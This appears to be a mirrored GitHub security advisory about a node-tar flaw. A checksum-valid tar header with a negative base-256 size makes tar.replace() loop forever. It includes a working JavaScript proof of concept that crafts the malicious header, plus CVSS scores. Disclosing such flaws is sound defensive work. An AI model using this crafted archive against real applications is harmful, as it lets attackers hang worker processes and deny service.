node-tar: Negative tar entry size causes infinite loop in archive replace

### Summary A checksum-valid tar archive with a negative base-256 encoded entry size can make `tar.replace()` loop forever while scanning the existing archive. Applications that update attacker-controlled tar archives can have a worker process pinned indefinitely, causing denial of service. ### Details The public `tar.replace()` API scans the existing archive before appending replacement entries. During this scan, it parses each tar header and advances the archive position by the parsed entry size rounded to a 512-byte block boundary. Tar supports base-256 encoded numeric fields. A crafted header can encode the entry size as `-512` while still carrying a valid checksum. The replace scan accepts that parsed negative size and uses it in the position-advance calculation. For a size of `-512`, the computed body skip is `-512`. The scan then adds the normal 512-byte header step, resulting in no net progress. The scanner repeatedly parses the same header forever and never reaches the append step. This is reachable through the supported package API when the existing archive file is attacker controlled. It does not rely on extraction, dependency behavior, or an uncaught exception. ### PoC Save as `poc.mjs` in a project with the vulnerable package installed and run: ```bash node poc.mjs ``` ```js import fs from 'node:fs' import os from 'node:os' import path from 'node:path' import { spawnSync } from 'node:child_process' const oct = (b, n, off, len) => b.write(n.toString(8).padStart(len - 1, '0') + '\0', off, len, 'ascii') const badHeader = () => { const h = Buffer.alloc(512) h.write('x', 0) oct(h, 0o644, 100, 8) oct(h, 0, 108, 8) oct(h, 0, 116, 8) // base-256 encoded -512 in the size field Buffer.alloc(10, 0xff).copy(h, 124) h[134] = 0xfe h[135] = 0x00 oct(h, 0, 136, 12) h.fill(0x20, 148, 156) h[156] = 0x30 h.write('ustar\0' + '00', 257, 8, 'binary') let sum = 0 for (const c of h) sum += c h.write(sum.toString(8).padStart(6, '0') + '\0 ', 148, 8, 'ascii') return h } const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'tar-loop-')) const file = path.join(dir, 'poc.tar') fs.writeFileSync(file, badHeader()) fs.writeFileSync(path.join(dir, 'add.txt'), 'x') const r = spawnSync( process.execPath, [ '--input-type=module', '-e', ` import * as tar from 'tar' tar.replace({ file: ${JSON.stringify(file)}, cwd: ${JSON.stringify(dir)}, sync: true }, ['add.txt']) console.log('completed') `, ], { timeout: 20_000 } ) console.log(r.error?.code === 'ETIMEDOUT') // Output: true ``` ### Impact An application that calls `tar.replace()` on an existing archive supplied or controlled by an attacker can be forced into a non-terminating archive scan. This can consume a worker process indefinitely and cause denial of service. Plain extraction-only workflows are not affected by this finding.

Source published

20 Jul 2026 21:51:39 UTC

Source modified

10 Sep 2026 03:51:11 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Publisher rating · HIGH